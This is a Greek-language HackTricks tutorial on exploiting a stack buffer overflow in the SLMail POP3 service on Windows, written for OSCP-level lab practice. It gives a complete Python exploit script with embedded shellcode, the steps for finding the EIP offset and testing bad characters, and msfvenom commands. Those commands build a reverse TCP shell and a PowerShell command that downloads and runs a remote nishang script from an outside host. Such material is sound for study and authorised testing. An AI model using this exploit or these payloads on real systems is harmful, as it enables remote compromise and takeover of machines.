Windows Exploiting (Basic Guide - OSCP lvl)
Reading time: 9 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail
Επανεκκίνηση της υπηρεσίας SLMail
Κάθε φορά που χρειάζεται να επανεκκινήσετε την υπηρεσία SLMail μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
net start slmail
Πολύ βασικό πρότυπο εκμετάλλευσης python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Αλλαγή Γραμματοσειράς Immunity Debugger
Πηγαίνετε στο Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
Συνδέστε τη διαδικασία με το Immunity Debugger:
File --> Attach
Και πατήστε το κουμπί START
Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:
Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας.
Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP
Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση.
Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP:
Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Φαίνεται ότι μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606 του buffer.
Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει σε 42424242 ("BBBB")
Φαίνεται ότι λειτουργεί.
Έλεγχος για χώρο Shellcode μέσα στη στοίβα
600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode.
Ας αλλάξουμε το bufer:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ.
Σε αυτή την περίπτωση έχουμε από 0x0209A128 έως 0x0209A2D6 = 430B. Αρκετό.
Έλεγχος για κακά χαρακτήρες
Αλλάξτε ξανά το buffer:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό.
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι:
Για παράδειγμα:
Σε αυτή την περίπτωση μπορείτε να δείτε ότι δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας 0x09).
Σε αυτή την περίπτωση μπορείτε να δείτε ότι ο χαρακτήρας 0x0D αποφεύγεται:
Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
Χρησιμοποιώντας:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Θα καταγράψετε τους χάρτες μνήμης. Αναζητήστε κάποιο DLL που έχει:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:
Σε αυτή την περίπτωση, για παράδειγμα: _0x5f4a358f_
Δημιουργία shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους).
Προσθέστε μερικούς NOPS στην αρχή του κώδικα shell και χρησιμοποιήστε τον και τη διεύθυνση επιστροφής για να JMP ESP, και ολοκληρώστε την εκμετάλλευση:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
warning
Υπάρχουν shellcodes που θα επικαλύψουν τον εαυτό τους, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
Βελτίωση του shellcode
Προσθέστε αυτές τις παραμέτρους:
EXITFUNC=thread -e x86/shikata_ga_nai
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.